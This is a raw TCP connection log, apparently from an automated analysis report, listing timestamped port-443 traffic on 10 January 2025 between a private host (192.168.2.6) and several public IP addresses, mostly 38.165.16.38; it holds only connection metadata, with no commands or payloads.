Jan 10, 2025 00:51:41.996742010 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.996973991 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.997056961 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.997246981 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.997488976 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.997669935 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.997678995 CET	49887	443	192.168.2.6	58.254.150.48
Jan 10, 2025 00:51:41.997684002 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.997713089 CET	443	49887	58.254.150.48	192.168.2.6
Jan 10, 2025 00:51:41.997939110 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.997957945 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.997983932 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.998068094 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.998183012 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.998198986 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.998235941 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.998285055 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.998296022 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:41.998332977 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:41.998346090 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.018147945 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.018167973 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.018177032 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.018188953 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.018210888 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.018290043 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.018290043 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.018307924 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.018416882 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.035331964 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.038456917 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.038458109 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.038458109 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.038522005 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.043320894 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.043333054 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.043350935 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.097944021 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.097969055 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.098016977 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.098016977 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.098027945 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.098046064 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.098067999 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.098079920 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.098093987 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.098125935 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.098356962 CET	49865	443	192.168.2.6	148.153.240.68
Jan 10, 2025 00:51:42.098381042 CET	443	49865	148.153.240.68	192.168.2.6
Jan 10, 2025 00:51:42.192466974 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.192543983 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.192588091 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.195080042 CET	49874	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.195095062 CET	443	49874	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.195365906 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.195390940 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.195461988 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.195467949 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.195513964 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.197892904 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.197918892 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.197930098 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.197951078 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.197968006 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.197993040 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.198004007 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.198014021 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.198029995 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.198070049 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.199338913 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.199383020 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.199471951 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.199642897 CET	49876	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.199665070 CET	443	49876	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.200408936 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.200444937 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.201255083 CET	49872	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.201261997 CET	443	49872	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.201915979 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.201939106 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.201992035 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.202568054 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.202579975 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.203614950 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.203639030 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.203871012 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.205074072 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.205091953 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.209216118 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.209395885 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.209513903 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.210675955 CET	49878	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.210686922 CET	443	49878	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267031908 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267059088 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267067909 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267091036 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267101049 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267115116 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.267113924 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267123938 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.267143011 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.267168999 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.270209074 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270236969 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270245075 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270266056 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270273924 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270282030 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270301104 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.270325899 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.270358086 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.270375967 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.274662018 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.274694920 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.274756908 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.274764061 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.274796009 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.274826050 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.274844885 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.274856091 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.274885893 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.282824993 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.282872915 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.282886028 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.282896042 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.282982111 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.283021927 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.283073902 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.283081055 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.283132076 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.283179045 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.283237934 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.284152985 CET	49877	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.284176111 CET	443	49877	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.284533024 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.284564018 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.284620047 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.285718918 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.285731077 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288398981 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288445950 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288458109 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288466930 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.288481951 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288490057 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288523912 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288527966 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.288568974 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288578033 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.288578033 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.288604021 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288623095 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.288623095 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.288662910 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.288664103 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.293199062 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.293258905 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.293294907 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.293303967 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.293338060 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.294785976 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.294826031 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.294960022 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.294967890 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.295093060 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.295326948 CET	49873	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.295342922 CET	443	49873	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.295692921 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.295734882 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.296029091 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.296709061 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.296720028 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.303241014 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.303339958 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.303355932 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.303365946 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.303414106 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.303414106 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.303440094 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.303513050 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.305375099 CET	49879	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.305392027 CET	443	49879	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.305702925 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.305721045 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.305778027 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.306236029 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.306248903 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.335422039 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.360874891 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.360912085 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.360958099 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.360959053 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.361001968 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.361020088 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.361020088 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.361036062 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.361082077 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.361148119 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.361249924 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.361259937 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.361303091 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.361449003 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.361849070 CET	49875	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.361861944 CET	443	49875	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.362143040 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.362155914 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.362282991 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.362879992 CET	49897	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.362891912 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.367381096 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.367880106 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.367914915 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.368253946 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.368772984 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.368838072 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.369030952 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.411333084 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.413611889 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.414684057 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.414695978 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.415060997 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.415479898 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.415539980 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.415688038 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.422658920 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:42.422682047 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:42.422843933 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:42.423080921 CET	49898	443	192.168.2.6	103.235.46.96
Jan 10, 2025 00:51:42.423094988 CET	443	49898	103.235.46.96	192.168.2.6
Jan 10, 2025 00:51:42.463332891 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.494568110 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.494837046 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.494863033 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.495274067 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.495580912 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.495642900 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.495754004 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.537636042 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.537661076 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.565833092 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:42.565994978 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:42.566250086 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:42.566250086 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:42.566271067 CET	443	49866	90.84.164.16	192.168.2.6
Jan 10, 2025 00:51:42.566317081 CET	49866	443	192.168.2.6	90.84.164.16
Jan 10, 2025 00:51:42.572083950 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:42.572112083 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:42.572202921 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:42.572448015 CET	49899	443	192.168.2.6	199.91.74.208
Jan 10, 2025 00:51:42.572459936 CET	443	49899	199.91.74.208	192.168.2.6
Jan 10, 2025 00:51:42.676701069 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.676763058 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.676877022 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.677548885 CET	49883	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.677596092 CET	443	49883	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.703074932 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.703104019 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.703126907 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.703157902 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.703188896 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.703202963 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.703233957 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.724643946 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.724661112 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.724697113 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.724739075 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.724749088 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.724760056 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.724792004 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.724806070 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.727118969 CET	49882	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.727137089 CET	443	49882	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.732355118 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.732451916 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.732556105 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.733206034 CET	49902	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.733244896 CET	443	49902	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.751899958 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.751924038 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.751934052 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.751966000 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.751986980 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.751998901 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.752029896 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.753058910 CET	49884	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.753072977 CET	443	49884	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.881047010 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.881310940 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.881328106 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.881630898 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.881946087 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.882005930 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.882110119 CET	49890	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.902131081 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.902580023 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.902611017 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.902970076 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.903296947 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.903366089 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.903641939 CET	49889	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.919702053 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.920015097 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.920026064 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.923191071 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.923333883 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.923655987 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.923708916 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.923799038 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.923809052 CET	443	49891	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.927328110 CET	443	49890	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.947357893 CET	443	49889	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.973999023 CET	49891	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.976012945 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.976233006 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.976244926 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.976546049 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.977025986 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.977081060 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.977267027 CET	49892	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.994683027 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.994946957 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.994973898 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.996196985 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.996277094 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.996733904 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.996810913 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:42.996881008 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:42.996887922 CET	443	49894	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.019329071 CET	443	49892	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.022927999 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.023217916 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.023228884 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.023914099 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.024346113 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.024441957 CET	443	49893	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.024588108 CET	49893	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.051668882 CET	49894	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:43.059839010 CET	443	49897	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:43.060245991 CET	49897	443	192.168.2.6	38.165.16.38
